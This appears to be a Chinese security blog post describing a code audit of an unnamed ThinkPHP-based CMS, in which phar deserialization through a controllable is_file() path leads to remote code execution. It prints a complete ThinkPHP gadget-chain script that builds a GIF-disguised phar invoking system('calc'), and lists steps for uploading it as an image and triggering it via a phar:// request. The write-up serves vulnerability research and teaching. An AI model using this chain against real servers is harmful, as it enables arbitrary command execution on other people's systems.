某CMS源码RCE审计思路

某CMS源码RCE审计思路

原创 Ambition 进击安全 2024-09-26 13:52

免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

一、前言


****这个依旧是一个学员审计出来的案例,今天拿出来分享一下,这个漏洞是基于phar反序列化的一个漏洞RCE利用方式,我们来查看漏洞点。

二、漏洞分析

首先这个代码是一个ThinkPHP框架开发的一个项目,在代码当中可以看到第110行代码当中存在一个is_file方法,这个方法是进行判断xx文件是否存在。

刚好is_file方法是能够触发我们的phar反序列化漏洞

Get()函数代码110行is_file函数中$filename参数可控,而is_file函数又在get()函数中。

继续寻找read方法查看哪里调用。

函数file_info()在代码108行调用了read()函数,继续查看哪里调用file_info。

好,全程是可控的,并且代码是
TP开发的框
架,我们从网上找到对应的反序列化链子,这里链子在下面,使
用反序列化链生成phar文件,phar文件不会受到文件后缀名的影响,我们生成jpg就可以。

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
{
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
{
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
{
        public function __construct()
{
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('hkey.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

生成文件之后我们改名为jpg,进行触发功能点。

三、漏洞利用

生成出来文件

生成出来文件之后改为png图片(改为png主要是方便我们上传)

进行上传。

拿到对应路径之后开始利用。

访问我们审计出来的功能点地址。

抓包修改为phar://上传png图片地址

弹出计算机!

关于phar反序列化,如果大家不懂的可以自行百度了解,还是挺值得分析的。

四、完结